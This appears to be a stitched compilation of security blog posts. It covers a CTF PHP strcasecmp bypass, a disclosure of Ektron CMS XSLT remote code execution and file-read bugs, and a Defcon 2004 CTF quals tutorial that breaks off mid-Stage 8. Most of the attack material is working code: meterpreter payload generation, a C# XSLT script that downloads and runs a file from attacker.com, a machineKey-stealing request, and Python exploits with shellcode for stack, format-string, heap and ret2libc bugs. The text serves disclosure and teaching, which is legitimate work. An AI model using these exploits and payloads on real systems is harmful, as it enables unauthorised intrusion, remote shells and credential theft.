Message 1 1c30112f5c670a12322e2b14794b1a3a151c0c2a535d281a34232e1b444528393a22367a33205b56
Message 2 1775567850746577
Message 4 1775567850746577
Message 3 1d192a013504000538330a3d112d494e
Message 5 6147614d6b495a5b
Message 6 1775567850746577

Some of the messages (ascii hex encoded):

I used the key “Ilikecarrots” to decrypt message 5, which contained the key to the previous message, all the way back to the key for submission.

Web 600

Everyone said this was easy, and it is if you know the “trick”, but I spent quite a bit of time trying timing account type attacks and stuff… Someone else on the team solved it, and this is what they have.

The code source shown in the phps is as follow :

<?php

  $key = "key{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}";
  $pass = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
  if ( strcasecmp( $_GET['pass'], $pass ) == 0 ) {
      echo($key);
  }
?>

According to the php manual the strcasecmp function is a Binary safe case-insensitive string comparison and returns 0 if str1 is greater than str2, and 0 if they are equal.

By passing pass[] (an array) as argument like follow (even with value null) :

http://128.238.66.216/eccbc87e4b5ce2fe28308fd9f2a7baf3/submit.php?pass%5B%5D

the strcasecmp will try comparing an array in $_GET[‘pass’] with the string declared locally called $pass.

This will lead strcasecmp to return a NULL result (not same as 0 in case of two strings equals) and in this case we will have : NULL==0 so the result will be :

key{this_is_how_our_scoreboard_was_owned_last_night}

CVE-2012-5357,CVE-1012-5358 Cool Ektron XSLT RCE Bugs

In early 2011, I met a fully updated 8.02SP2 Ektron and it was a bunch of bugs at first sight. Ektron is a CMS. It isn’t a household name like wordpress, but it’s actually used on quite a few very big enterprise-like sites. Subsequently a few of these bugs have been found independently, but to my knowledge my favorites (CVE-2012-5357,CVE-1012-5358) have never been publicly written about.

I was originally planning to talk about these in our New Ways I’m Going to Hack your Web App talk which came over nine months after I reported the issue. In fact, it was a part of the talk at Bluehat, where it was a hit when I used Metasploit for the demo :)

Unfortunately, there was some pressure at the time to keep this out of the 28c3 and Blakhat AD versions of the talk. Booo. But on October 15th 2012, MSVR released an advisory, so at long last I’ll give some technical details on a couple of the more interesting bugs I found.

CVE-5357 – Unauthenticated code execution in the context of web server

The root cause of this is that Ektron processed user-controlled XSL from a page that required no auth. They used the XslCompiledTransform class with enablescript set to true. This scripting allows the user to execute code, as documented here.

Here are hack steps to get a meterpreter shell using this:

  1. Create the shellcode we’ll use using the following. At the time of the exploit, naming to .txt seemed to evade antivirus, although at some point this stopped working reliably.
  2. ./msfpayload windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=80 r | ./msfencode –t exe –o output.txt
    
  3. Upload output.txt to http://attacker.com/output.txt
  4. Start a multistage metasploit listener from msfconsole on a reachable attacker box.
  5. use exploit/multi/handler
    set payload windows/meterpreter/reverse_http
    set LHOST <listen_address>
    set LPORT 80
    
  6. Upload the following code to http://attacker.com/xsl.xslt
  7. <?xml version='1.0'?>
    <xsl:stylesheet version="1.0"
          xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
          xmlns:msxsl="urn:schemas-microsoft-com:xslt"
          xmlns:user="http://mycompany.com/mynamespace">
      <msxsl:script language="C#" implements-prefix="user">
        <![CDATA[
    public string xml()
      {
                System.Net.WebClient client = new System.Net.WebClient();
                client.DownloadFile(@"http://attacker.com/output.txt", @"C:\\windows\\TEMP\\test92.txt");
                System.Diagnostics.Process p = new System.Diagnostics.Process();
                p.StartInfo.UseShellExecute = false;
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.FileName = @"C:\\windows\\TEMP\\test92.txt";
                p.Start(); 
               return "hai";
    
      }
    
    ]]>
      </msxsl:script>
      <xsl:template match="/">
        <xsl:value-of select="user:xml()"/>
      </xsl:template>
    </xsl:stylesheet>
    
    
  8. Do the following post request, which will cause ektron to process the xsl. Ektron did check the referer, but it did NOT check any auth info, and there is no secret information in this POST request at all. Notice the xslt=http://attacker.com/xsl.xslt which points to the xslt file we created in step 4. When processed, this will connect back to our listener we setup in step 1.
  9. POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
    Host: ektronsite
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0) Gecko/20100101 Firefox/4.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip, deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Referer: https://ektronsite
    
    xml=AAA&xslt=http://attacker.com/xsl.xslt &arg0=mode%3Ddesign&arg1=skinPath%3D%2FWorkArea%2Fcsslib%2FContentDesigner%2F& arg2=srcPath%3D%2FWorkArea%2FContentDesigner%2F&arg3=baseURL%3Dhttp%3A%2F%2Fektronsite& arg4=LangType%3D1033& arg5=sEditPropToolTip%3DEdit%20Field%3A
    
    

One of the early mitigations was to limit egress access, but it turns out you can just as easily specify the xsl inline. Another early mitigation was to IP restrict access to the Ektron management console. However, Ektron had multiple clientside vulnerabilities. We were able to blend clientside bugs with this to still exploit.

CVE-5358 Local File Read

After 5357 was fixed, I was testing that fix, and it turns out there was another related vulnerability. They had configured the xsl with enableDocumentFunction set to true. This vulnerability allows an unauthenticated attacker to read arbitrary files, such as web.config and machine.config. This would allow an attacker to perform several attacks, like bypassing authentication, modifying viewstate, bringing down the server, etc. I could spend a lot of time here, but we can agree reading the machinekey is bad.

Hack steps to retrieve the machinekey:

  1. URL encode the following xsl
  2. <?xml version='1.0'?>
    <xsl:stylesheet version="1.0"
          xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
          xmlns:msxsl="urn:schemas-microsoft-com:xslt"
          xmlns:user="http://mycompany.com/mynamespace">
      <xsl:template match="/">
        <xsl:value-of select="document('g:\EKTRON\web.config')//machineKey/@decryptionKey"/>
        <xsl:value-of select="foo"/>
      </xsl:template>
    </xsl:stylesheet>
    
  3. Do the following POST. Note this is unauthenticated
  4. POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
    Host: ektronsite
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Referer: https://ektronsite
    Content-Length: 1217
    
    xml=%3Cp%3Eaaaaa%3C%2Fp%3E&xslt=%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%27%31%2e%30%27%3f%3e
    %0a%3c%78%73%6c%3a%73%74%79%6c%65%73%68%65%65%74%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%0a%20
    %20%20%20%20%20%78%6d%6c%6e%73%3a%78%73%6c%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72
    %67%2f%31%39%39%39%2f%58%53%4c%2f%54%72%61%6e%73%66%6f%72%6d%22%0a%20%20%20%20%20%20%78%6d%6c%6e
    %73%3a%6d%73%78%73%6c%3d%22%75%72%6e%3a%73%63%68%65%6d%61%73%2d%6d%69%63%72%6f%73%6f%66%74%2d%63
    %6f%6d%3a%78%73%6c%74%22%0a%20%20%20%20%20%20%78%6d%6c%6e%73%3a%75%73%65%72%3d%22%68%74%74%70%3a
    %2f%2f%6d%79%63%6f%6d%70%61%6e%79%2e%63%6f%6d%2f%6d%79%6e%61%6d%65%73%70%61%63%65%22%3e%0a%20%20
    %3c%78%73%6c%3a%74%65%6d%70%6c%61%74%65%20%6d%61%74%63%68%3d%22%2f%22%3e%0a%20%20%20%20%3c%78%73
    %6c%3a%76%61%6c%75%65%2d%6f%66%20%73%65%6c%65%63%74%3d%22%64%6f%63%75%6d%65%6e%74%28%27%65%3a%5c
    %45%4b%54%52%4f%4e%5c%77%65%62%2e%63%6f%6e%66%69%67%27%29%2f%2f%6d%61%63%68%69%6e%65%4b%65%79%2f
    %40%64%65%63%72%79%70%74%69%6f%6e%4b%65%79%22%2f%3e%0a%20%20%20%20%3c%78%73%6c%3a%76%61%6c%75%65
    %2d%6f%66%20%73%65%6c%65%63%74%3d%22%66%6f%6f%22%2f%3e%0a%20%20%3c%2f%78%73%6c%3a%74%65%6d%70%6c
    %61%74%65%3e%0a%3c%2f%78%73%6c%3a%73%74%79%6c%65%73%68%65%65%74%3e
    
  5. In the response the decryptionkey will be echoed back F42A9567917AC601F476CB26731E4E116351E9465DBDB32A35DA23C01F4ED963

Detection

Remember in early 2011 when nmap scripting was fairly new? This was one of my first attempts at that. It isn’t much, but it helped me fingerprint the instances of ektron we had.

description = [[
Attempts to check if ektron is running on one of a few paths
]]
 
---
-- @output
-- 80/tcp open  http
-- |_ http-login-form: HTTP login detected
 
-- HTTP authentication information gathering script
-- rev 1.0 (2011-02-06)
 
author = "Rich Lundeen"
 
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
 
categories = {"webstersprodigy"}
 
require("shortport")
require("http")
require("pcre")
 
portrule = shortport.port_or_service({80, 443, 8080}, {"http","https"})
 
parse_url = function(url)
  local re = pcre.new("^([^:]*):[/]*([^/]*)", 0, "C")
  local s, e, t = re:exec(url, 0, 0)
  local proto = string.sub(url, t[1], t[2])
  local host = string.sub(url, t[3], t[4])
  local path = string.sub(url, t[4] + 1)
  local port = string.find(host, ":")
  if port ~= nil then
    --TODO check bounds, sanity, cast port to an int
    local thost = string.sub(host, 0, port-1)
    port = string.sub(host, port+1)
    host = thost
  else
    if proto == "http" then
      port = 80
    elseif proto == "https" then
      port = 443
    end
  end
  return host, port, path
end
 
--attempting to be compatible with nessus function in http.inc
--in this case, host is a url - it should use get_http_page
--get_http_page = function(port, host, redirect)
 
--port and url are objects passed to the action function
--redirect an integer to prohibit loops
get_http_page_nmap = function(port, host, redirect, path)
  if path == nil then
    path = "/"
  end
  if redirect == nil then
    redirect = 2
  end
  local answer = http.get(host, port, path)
  if ((answer.header.location ~= nil) and (redirect > 0) and
      (answer.status >=300) and (answer.status < 400)) then
    nhost, nport, npath = parse_url(answer.header.location)
    if (((nhost ~= host.targetname) and (nhost ~= host.ip) and
        (nhost ~= host.name)) or nport ~= port.number ) then
      --cannot redirect more, different service
      return answer, path
    else
      return get_http_page_nmap(port, host, redirect-1, npath)
    end
  end
  return answer, path
end
 
action = function(host, port)
  local ektronpaths = {
  "/cmslogin.aspx",
  "/login.aspx",
  "/WorkArea/"
  }
  for i,ektronpath in ipairs(ektronpaths) do
    local result, path = get_http_page_nmap(port, host, 3, ektronpath)
    local loginflags = pcre.flags().CASELESS + pcre.flags().MULTILINE
    local loginre = {
       pcre.new("ektron" , loginflags, "C") }
     
    local loginform = false
    for i,v in ipairs(loginre) do
      local ismatch, j = v:match(result.body, 0)
      if ismatch then
        loginform = true
        break
        end
    end
    if loginform then
      return "Ektron instance likely at " .. path
    end
  end
end

Mitigation

Supposedly the latest version of Ektron has patched this. I don’t have a version to work on at the moment so I’m unable to personally verify. Regardless – be sure to upgrade. With Ektron I’d also highly recommend segregating the management piece so that it’s not exposed. I’d recommend only trusting people to author content that you trust with the server. Also, people writing content probably shouldn’t be allowed to open Facebook in another browser tab…

For XSL in general – there are a lot of bad things attackers can do if you process untrusted XSL. I recommend trying to avoid processing untrusted XSL at all unless you really know what you’re doing. With .NET xslcompiledtransform for example, even if you disable scripting and enableDocumentFunction, it’s still difficult to prevent things like DoS attacks. A good rule of thumb is to treat consuming XSL like you would treat running code, because that’s essentially what it is.

Defcon 2004 CTF Quals Writeup

Aaaaaah, yeah. Qualifying for Defcon 12, suckers!

This post is a tutorial-style writeup of all the Defcon 12 CTF qualifiers I could manage to solve. It should be a decent place to start if you haven’t done a lot of CTF style challenges/binary exploitation before, since the binaries all easily run on Linux and there are solutions available. I originally grabbed the binaries here, and I’ve also mirrored them here. Thanks captf.com, Defcon, and (I think) Ghetto Hackers!

I thought these challenges were fun, and there were a couple things I came across that I haven’t seen before. If this were skiing, this would be a blue square, which stands for intermediate. It might be a bit boring for the pros, but I’m not going to re-hash your first buffer overflow or talk about all the details of a format string either (and there should be enough information to hopefully follow along if you get stuck at any point).

If you try these and you do get stuck, feel free to ask questions and I’ll do my best to answer them.

Setup

Downloading the challenges, these are just a bunch of ELF files that are run locally. I assume in the real qualifiers each stage was probably setuid to the next level, similar to how other popular challenges like smashthestack work. My goal for each level was to simply get a single shell. I reused the same /bin/dash shellcode again and again. I made no effort to make things reliable or anything, and in some cases it would be pretty difficult to make these exploits reliable.

I used a Backtrack 5 R2 32 bit vm. 32 bit may be important since by default 32 bit doesn’t seem to enable NX, so depending on the binary it might be easier to execute code on the stack.

root@bt:~# dmesg |grep -i nx
[    0.000000] Notice: NX (Execute Disable) protection cannot be enabled: non-PAE kernel!

Also, I disabled ASLR.

root@bt:~# echo 0 > /proc/sys/kernel/randomize_va_space 

As for tools, I pretty much only used python, IDA Pro and gdb. Alright, let’s get cracking!

Stage 2

This one was a very straightforward stack overflow. The first thing I did was just run it with a long argv1. It crashed. So then I set ulimit -c unlimited and metasploits pattern_create/pattern_offset to observe the dump.

./stage2 `pattern_create.rb 1024`

This created a segfault

gdb ./stage2 core
info registers
...

shell ./pattern_offset.rb 35644134
104

So offset 104 for an eip overwrite, and the shellcode can probably go after 104, since that doesn’t seem to have been modified.

#!/usr/bin/python

import os
import struct

class exploit:
  def __init__(self):
    self.vulnpath = "./stage2"

    #spawns /bin/dash, real server may require different stuff (connectback, etc)
    dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
    )

    retaddr = struct.pack("<I", 0xbffffcf0) * 5
    padlen = 100

    self.payload = ("A" * 100 + retaddr + "\x90" * 300) + dashsc
    self.env = {"shell" : "/bin/dash", "format" : "%3$n", "sc" : dashsc}

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env)

m = exploit()
m.pwn()

Stage 3

This looks like a straightforward format string

.text:08048364 push    ebp
.text:08048365 mov     ebp, esp
.text:08048367 sub     esp, 8
.text:0804836A mov     eax, [ebp+format]
.text:0804836D mov     [esp], eax      ; format
.text:08048370 call    _printf
.text:08048375 leave
.text:08048376 retn
.text:08048376 sub_8048364

And sure enough running with %n crashes the process. Looking for a location to overwrite:

# objdump -s -j .dtors stage3

stage3:     file format elf32-i386

Contents of section .dtors:
 8049594 ffffffff 00000000                    ........

So overwriteloc = 8049598

#!/usr/bin/python

import struct
import os

class exploit:
	def __init__(self):
		self.vulnpath = "/root/Desktop/stage3"

		#spawns /bin/dash
		dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
		)

		owlocation = 0x08049598
		#owValue = 0x41414242
		owValue = 0xbfffff3c

		#nice to make sure self.payload is always a consistent length
		#padlen and offset are tied together
		padlen = 562
		offset = 110

		#fmtstr = "AAAABBBBCCCCDDD %113$08x"
		fmtstr = self.address_overwrite_format(owlocation, owValue)
		self.payload = (self.padstr(fmtstr))
		self.env = {"shell" : "/bin/dash", "format" : "%3$n", "sc" : "\x90" *112 +  dashsc}

	def padstr(self, payload, padlen=650):
		if (len(payload) > padlen):
			raise "payload too long"
		return payload + (" " * (padlen-len(payload)))

	def address_overwrite_format(self, owlocation, owvalue):
		HOW = owvalue >> 16
		LOW = owvalue & 0xffff
		mformat = ""
		if LOW > HOW:
			mformat = struct.pack("<I", owlocation +2) + struct.pack("<I", owlocation) + "%." + str(HOW-8) +"x%113$hn%." + str(LOW-HOW) + "x%114$hn"
		else:
			print "here"
			mformat = struct.pack("<I", owlocation +2) + struct.pack("<I", owlocation) + "%." + str(LOW-8) +"x%114$hn%." + str(HOW-LOW) + "x%113$hn"
		return mformat

	def pwn(self):
		os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env)

m = exploit()
m.pwn()

Stage 4

This one needs both HELLOWORLD envrironment variable and an arg

Helloworld overwrites the local counter variable, which is used as an offset.

The loop at 08048472 is copying from src+var_counter to buffer+varcounter, one byte at a time. When we overflow, we overwrite the counter (at byte offset 125) so using this we can overwrite the return address on the stack (at offset 140).

Here’s the loop:

.text:08048472 loc_8048472:                            ; CODE XREF: func_infinite+4Ej
.text:08048472                 mov     eax, [ebp+var_counter]
.text:08048475                 add     eax, [ebp+src]
.text:08048478                 cmp     byte ptr [eax], 0
.text:0804847B                 jnz     short loc_804847F
.text:0804847D                 jmp     short locret_804849C
.text:0804847F ; ---------------------------------------------------------------------------
.text:0804847F
.text:0804847F loc_804847F:                            ; CODE XREF: func_infinite+2Fj
.text:0804847F                 lea     eax, [ebp+buffer] ; copy from src+counter to buffer+counter
.text:08048485                 mov     edx, eax
.text:08048487                 add     edx, [ebp+var_counter]
.text:0804848A                 mov     eax, [ebp+var_counter]
.text:0804848D                 add     eax, [ebp+src]
.text:08048490                 movzx   eax, byte ptr [eax]
.text:08048493                 mov     [edx], al
.text:08048495                 lea     eax, [ebp+var_counter]
.text:08048498                 inc     dword ptr [eax]
.text:0804849A                 jmp     short loc_8048472
.text:0804849C ; ---------------------------------------------------------------------------
.text:0804849C
.text:0804849C locret_804849C:                         ; CODE XREF: func_infinite+31j
.text:0804849C                 leave
.text:0804849D                 retn

The stack looks like this:

-00000088 buffer          db 124 dup(?)
-0000000C var_counter     dd ?
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 src             dd ?

So the final exploit was:

#!/usr/bin/python

import os
import argparse
import struct

class exploit:
  def __init__(self):
    self.vulnpath = "./stage4"

    #spawns /bin/dash
    dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
    )

    overwriteaddr = struct.pack("<I", 0xbffffe60)

    arg1 = "A" * 140
    #eip offset is at 140 (0x8b)
    #we overwrite the counter byte at 125
    envin = "B" * 124 + "\x8b" + "B" * 15 + overwriteaddr

    self.payload = arg1
    self.env = {"shell" : "/bin/dash", "format" : "%3$n", "sc" : "\x90" * 200 + dashsc, "HELLOWORLD" : envin}
    self.mfile = "command.gdb"

  def rungdb(self):
    #write to command.gdb
    mf = open(self.mfile, "w")
    #edit me
    commands = [
      "file " + self.vulnpath,
      "set $src=8",
      "set $counter=-0xc",
      "set $buffer=-0x88",
      "break *0x08048472 if *(int)($ebp-0xc) == 124",
      "run " + '"' + self.payload + '"',
      "info registers",
      "disable 1",
      "break *0x08048472",
      "x/d $ebp + $counter"
    ]
    mf.writelines([i + "\n" for i in commands])
    mf.close()

    gdbargs = ["/usr/bin/gdb", "-x", self.mfile]
    os.execve("/usr/bin/gdb", gdbargs, self.env)

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env)

parser = argparse.ArgumentParser()
parser.add_argument("--debug", action="store_true")
args = parser.parse_args()
m = exploit()
if args.debug:
    m.rungdb()
else:
    m.pwn()

Stage 5

I’m not sure why this level exists… it’s the easiest yet… vanilla strcpy. Literally a 5 minute level. To make the tutorial more interesting, I tried to exploit this without executing code on the stack with return2libc.

First, I created a simple setuid program named wrapper:

int main() {
	setuid(0);
	setgid(0);
	system("/bin/sh");
}

Now the goal is to craft the stack so that I call execl like this:

execl("./wrapper", "./wrapper", NULL);

Because arguments are pushed in reverse, I need to put NULL in my string before “./wrapper”. One way to solve this is by putting a printf before the execv that has a format string, and then you can write NULL to the correct location on the stack before execl is called. (e.g. printf(“%3$n”, xxxx, xxxx, xxxx, myaddress)). In the end I need several addresses: the address for libc printf, libc execl, a pointer to the string %3$n, a pointer to the string “./wrapper”, and the stack address “myaddress”. I found these addresses by intentionally crashing the program with an invalid printf address and other placeholders, opening the core file with gdb and searching for the addresses. Useful gdb commands are “p printf” and “find $esp, 0xbfffffff, “./wrapper””.

The final exploit (which never executes on the stack and will vary based on your computer) looks like this:

#/usr/bin/python

import os
import argparse
import struct

class exploit:
  def __init__(self):
    self.vulnpath = "./stage5"
 
    printf = struct.pack("<I", 0xb7ebb130)
    execl = struct.pack("<I", 0xb7f0c330)
    formatstr = struct.pack("<I", 0xbfffffee) #points to %3$n
    progname = struct.pack("<I", 0xbfffffcd) #points to "./wrapper"
    nullwrite = struct.pack("<I", 0xbffffd30) #points to itself

    arg1 = "A" * 260 + printf + execl + formatstr + progname + progname + nullwrite
    

    self.payload = arg1
    self.env = {"shell" : "/bin/dash", "format" : "%3$n", "blah" : "./wrapper"}
    self.mfile = "command.gdb"

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env)

m = exploit()
m.pwn()

Stage 6

This is a heap overflow resulting in an arbitrary overwrite with the linking/unlinking. The while loop at the end is to prevent us from simply overwriting dtors.

I think the best approach is:

• We can control src and dest for the last strcpy at 0804841F
• Use it to overwrite our own return value saved on the stack for strcpy itself

One note is I used core dumps again rather than running with gdb directly, so gdb didn’t mess with any of the stack values since they’re sensative. Calculating how big stuff should be, arg1 starts overwriting the destination at offset 268

Here I try that with owDest set to 0x56565656, and ecx set to AAAAAAAA..

(gdb) info registers
eax            0x56565656	1448498774
ecx            0x42	66
edx            0x0	0
ebx            0xb7fcaff4	-1208176652
esp            0xbffffae0	0xbffffae0
ebp            0xbffffae8	0xbffffae8
esi            0x56565655	1448498773
edi            0xbffffebe	-1073742146
eip            0xb7ee8214	0xb7ee8214 <strcpy+20>
eflags         0x210246	[ PF ZF IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x/i $eip
=> 0xb7ee8214 <strcpy+20>:	mov    %cl,0x1(%esi,%edx,1)

Looking around for valid addresses…

(gdb) x/i $eip
=> 0xb7ee8214 <strcpy+20>:	mov    %cl,0x1(%esi,%edx,1)
(gdb) backtrace
#0  0xb7ee8214 in strcpy () from /lib/tls/i686/cmov/libc.so.6
#1  0x08048424 in ?? ()
#2  0xb7e8bbd6 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
#3  0x08048321 in ?? ()
(gdb) x/20x $esp
0xbffffae0:	0x00000000	0x00000000	0xbffffc18	0x08048424
0xbffffaf0:	0x56565656	0xbffffebe	0xb7e78ba8	0x00000001
0xbffffb00:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb10:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb20:	0x41414141	0x41414141	0x41414141	0x41414141

So we want to overwrite $esp + 12, or dest=0xbffffaec with an address for our shellcode, or 0xbfffff30. And bam, this works

#/usr/bin/python

import os
import argparse
import struct

class exploit:
  def __init__(self):
    self.vulnpath = "./stage6"

    #spawns /bin/dash
    dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
    )
    owDest = struct.pack("<I", 0xbffffaec)
    scAddr = struct.pack("<I", 0xbfffff30)

    arg1 = "A" * 268 + owDest
    arg2 = scAddr

    self.arg1 = arg1
    self.arg2 = arg2
    self.env = {"shell" : "/bin/dash", "format" : "%3$n", "sc" : "\x90" * 200 + dashsc}
    self.mfile = "command.gdb"

  def rungdb(self):
    #write to command.gdb
    mf = open(self.mfile, "w")
    #edit me
    commands = [
      "file " + self.vulnpath,
      "set $arg1=0xc + 4",
      "set $arg2=0xc + 8",
      #"break *0x0804841F",
      "run " + '"' + self.arg1 + '" "' + self.arg2 + '"',
      "x/i $eip",
      "info registers"
    ]
    mf.writelines([i + "\n" for i in commands])
    mf.close()

    gdbargs = ["/usr/bin/gdb", "-x", self.mfile]
    os.execve("/usr/bin/gdb", gdbargs, self.env)

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.arg1, self.arg2], self.env)

parser = argparse.ArgumentParser()
parser.add_argument("--debug", action="store_true")
args = parser.parse_args()
m = exploit()
if args.debug:
    m.rungdb()
else:
    m.pwn()

Stage 7

This problem has a simple strcpy overflow, but we can’t just overwrite the ret value because of this “canary” loop that makes sure our string terminates.

.text:08048436
.text:08048436 loc_8048436:
.text:08048436 cmp     [ebp+var_a], 0
.text:0804843B jnz     short loc_8

Since var_a (a local variable) is 0, that terminates our strcpy string and we’d have to terminate our overrun. But, there’s also a format string where we can overwrite a single word

Strategy:

• Simple regular overflow with the strcpy (it can’t be a whole address – only a word and this is in range)
• Printf overwrite the value for var_a

Important Offsets:
• 264 to var_malloced, which contains the value the location we can overwrite with our format string
• 270 to var_a, which we’re trying to overwrite with 0, but we can’t directly because it will end our string.
• 284 to ret

Format string is like: mov %dx,(%eax), where %dx is n (the number of bytes). Having an overwrite that’s exactly 2** 16th should wrap the value, so we can get a 0 into dx and bypass the “canary”, since the canary is only comparing 2 bytes with cmpw

0x08048436 in ?? ()
=> 0x8048436:	cmpw   $0x0,-0xa(%ebp)

To get the address where the canary (var_a) exists, I let it run in that continuous loop and attached a debugger after running.

(gdb) attach 21379
Attaching to process 21379
Reading symbols from /root/Desktop/defcon/7/stage7...(no debugging symbols found)...done.
Reading symbols from /lib/tls/i686/cmov/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/tls/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0x08048436 in ?? ()
(gdb) x/i $eip
=> 0x8048436:	cmpw   $0x0,-0xa(%ebp)
(gdb) x/x $ebp -0xa    #this is the value we need to overwrite
0xbffefd1e:	0x43434343
(gdb) x/x 0xbffefb8e      #this is the value I guessed to be overwritten, so off a bit
0xbffefb8e:	0xf0000000

Here’s the final code:

#/usr/bin/python

import os
import argparse
import struct

class exploit:
  def __init__(self):
    self.vulnpath = "./stage7"

    #spawns /bin/dash
    dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
    )

    #overwrite var_a with 0 to bypass the "canary"
    var_malloced = struct.pack("<I", 0xbffefd1e)
    var_a = struct.pack("<I", 0x43434343)

    ret_ow = struct.pack("<I", 0xbfffff10)

    arg1 = "A" * 264 + var_malloced + "AA" + var_a + "Q"* 10 + ret_ow

    #pad arg1 so it's 2**16 to have our overwrite value be exactly 0
    arg1 += "D" * (2**16 - len(arg1))

    self.arg1 = arg1
    self.env = {"shell" : "/bin/dash", "format" : "%3$n", "sc" : "\x90" * 200 + dashsc}
    self.mfile = "command.gdb"

  def rungdb(self):
    #write to command.gdb
    mf = open(self.mfile, "w")
    #edit me
    commands = [
      "file " + self.vulnpath,
      "set $var_a=-0xA",
      "set $arg2=0xc + 8",
      "run " + '"' + self.arg1 + '"',
      "x/i $eip",
      "info registers"
    ]
    mf.writelines([i + "\n" for i in commands])
    mf.close()

    gdbargs = ["/usr/bin/gdb", "-x", self.mfile]
    os.execve("/usr/bin/gdb", gdbargs, self.env)

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.arg1], self.env)

parser = argparse.ArgumentParser()
parser.add_argument("--debug", action="store_true")
args = parser.parse_args()
m = exploit()
if args.debug:
    m.rungdb()
else:
    m.pwn()

Stage 8

This program crashes very easily, but the exploit took a few steps. Here’s the overall strategy.

  1. Overwrite the address 0x41414141 with the value 9000, which will segfault. Note ebp in the crash dump (in the prog below this is owDest, which references the %hn and owValue is the len being put there)
    Program terminated with signal 11, Segmentation fault.
    #0  0xb7eb4ec1 in vfprintf () from /lib/tls/i686/cmov/libc.so.6
    (gdb) info registers 
    eax            0x41414141	1094795585
    ecx            0xbfff6d3c	-1073779396
